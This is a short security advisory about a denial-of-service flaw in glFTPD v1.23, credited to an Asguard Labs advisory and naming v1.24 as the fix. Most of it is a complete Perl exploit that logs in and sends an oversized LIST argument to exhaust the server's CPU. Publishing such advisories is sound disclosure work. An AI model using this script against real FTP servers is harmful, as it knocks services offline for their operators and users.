COMMAND
glFTPD
SYSTEMS AFFECTED
glFTPD for Linux v1.23 / glFTPD BSD v1.23 *bins
PROBLEM
Following is based on a Asguard Labs Advisory (credits to Jan
Wagner). The glFTPD v1.23 contains a very(x2) simple D.O.S. which
affects the "LIST" Command.
If glFTPD v1.23 receives a special formed "LIST" command it
consumes about 99% of CPU power Tested on FreeBSD 4.3 and NetBSD
1.5.1 (linux emul).
Exploit Code:
#!/usr/bin/perl
use IO::Socket;
use Socket;
print "-= ASGUARD LABS EXPLOIT - glFTPD v1.23i =-\n\n";
if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl gl123DOS.pl <host> <user>
<pass> [port]\n" };
if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" };
$adr = $ARGV[0];
$usr = $ARGV[1];
$pas = $ARGV[2];
$err = "*" x 256;
$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: can't connect to $adr:$prt\n";
$remote->autoflush(1);
print $remote "USER $usr\n" and print "1. Sending : USER $usr...\n" or die
"Error: can't send user\n";
print $remote "PASS $pas\n" and print "2. Sending : PASS $pas...\n" or die
"Error: can't send pass\n";
print $remote "LIST $err/\n" and print "3. Sending : ErrorCode...\n\n"or die
"Error: can't send error code\n";
print "Attack done. press any key to exit\nnote: Attack done doesn't mean
Attack successful\n";
$bla= <STDIN>;
close $remote;
SOLUTION
glFTPD for Linux v1.24 / glFTPD BSD v1.24 *bins addresses this
issue.